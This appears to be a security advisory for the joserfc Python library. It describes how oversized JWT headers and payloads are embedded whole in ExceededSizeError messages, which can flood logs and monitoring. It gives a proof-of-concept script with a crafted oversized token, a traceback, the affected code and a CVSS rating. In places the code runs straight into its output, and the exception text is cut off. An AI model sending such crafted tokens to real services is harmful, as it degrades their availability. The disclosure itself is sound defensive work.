The ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload.
// detailsIn situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the joserfc.jwt.decode() operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises joserfc.errors.ExceededSizeError() with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it per se.
It is therefore the responsibility of the underlying web server (uvicorn/h11, gunicorn, Starlette, Werkzeug, nginx...etc) to enforce limits on header sizes. For example, a FastAPI/Starlette application running without uvicorn and/or gunicorn cannot enforce header size limits on its own. With uvicorn/h11, the --h11-max-incomplete-event-size <int> option can restrict the total size of the header plus body, but not the header alone. Similarly, vLLM serve —due to its reliance on uvicorn/h11 and the need for heavy data transfer in ML inference workloads, sets a default limit of 4 MB for header plus body and is frequently increased. In practice, a robust reverse proxy (such as nginx) is typically required because it can explicitly cap maximum header size. Unfortunately, many web applications do not run behind a proper reverse proxy.
Given these constraints, the joserfc library cannot safely log or embed payloads of arbitrary size. This issue is particularly subtle, as it occurs only when a maliciously crafted JWT finally reaches the Python application, a scenario that most developers will never encounter during routine development and testing.
// pocEnvironment Ubuntu 24.04 LTS Python 3.12 Tested on joserfc version 1.4.1
import logging
from datetime import UTC, datetime, timedelta
from joserfc import jwt
from joserfc.errors import ExceededSizeError, UnsupportedAlgorithmError
from joserfc.jwk import OctKey
logger = logging.getLogger(__name__)
SECRET_KEY = "8c13bd66babc241b29f8553429bdab7deb6f5b74ddfda7765471e57ecd55641e"
LONG_JWT_TOKEN = (
"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ"
"."
"eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ"
"."
"6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8"
)
HEADER = {
"alg": (
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
),
}
CLAIMS = {
"iss": "auth_server",
"iat": datetime.now(UTC),
"exp": datetime.now(UTC) + timedelta(minutes=15),
}
def main():
# Create OctKey from SECRET_KEY
key = OctKey.import_key(SECRET_KEY)
# Simulate creating a very large JWT
# (this will fail with joserfc.errors.UnsupportedAlgorithmError
# due to an invalid 'alg' header content
try:
token = jwt.encode(HEADER, CLAIMS,Created JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ.eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ.6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8
The JWT size is too large and may be a security attack attempt.
Traceback (most recent call last):
File "security_issue.py", line 55, in main
claims = jwt.decode(token, key)
^^^^^^^^^^^^^^^^^^^^^^
File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 106, in decode
header, payload = _decode_jws(_value, key, algorithms, registry)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 127, in _decode_jws
jws_obj = deserialize_compact(value, key, algorithms, registry)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File ".venv/lib/python3.12/site-packages/joserfc/jws.py", line 183, in deserialize_compact
obj = extract_compact(to_bytes(value), payload, registry)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File ".venv/lib/python3.12/site-packages/joserfc/_rfc7797/compact.py", line 50, in extract_rfc7515_compact
registry.validate_header_size(header_segment)
File ".venv/lib/python3.12/site-packages/joserfc/_rfc7515/registry.py", line 104, in validate_header_size
raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_header_length} bytes.")
joserfc.errors.ExceededSizeError: exceeded_siz// code locationThis behavior occurs in:
joserfc/_rfc7515/registry.py L102-112
def validate_header_size(self, header: bytes) -> None:
if header and len(header) > self.max_header_length:
raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_header_length} bytes.")
def validate_payload_size(self, payload: bytes) -> None:
if payload and len(payload) > self.max_payload_length:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- High